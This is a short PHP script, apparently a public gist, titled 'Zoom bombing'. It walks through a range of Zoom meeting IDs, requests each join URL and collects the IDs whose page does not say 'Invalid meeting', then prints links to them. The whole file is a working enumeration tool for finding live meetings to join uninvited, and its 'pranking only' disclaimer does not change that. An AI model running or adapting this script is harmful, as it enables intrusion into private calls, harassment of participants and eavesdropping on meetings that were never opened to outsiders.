Zoom bombing - identify Zoom existing meeting IDs

zoom-bombing.php

<?php

/*
Identify existing meetings/meeting IDs on Zoom.us call app
License: Public domain. Use for pranking only. Any other use prohibited.

https://gist.github.com/nekromoff/48ec26cbaecc31fccb202d1efa7d0657
*/

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);

$meetings = [];
// set start ID to start checking from:
$start_id=8366428170;
// set end ID to stop checking at:
$end_id=8366428190;

for ($i = $start_id; $i <= $end_id; $i++) {
    curl_setopt($ch, CURLOPT_URL, 'https://zoom.us/j/' . $i);
    $content = curl_exec($ch);
    if (stripos($content, 'Invalid meeting') !== false) {
        continue;
    }
    $meetings[] = $i;
}

foreach ($meetings as $meeting_id) {
    echo '<a href="https://zoom.us/j/'.$meeting_id.'">'.$meeting_id.'</a><br>';
}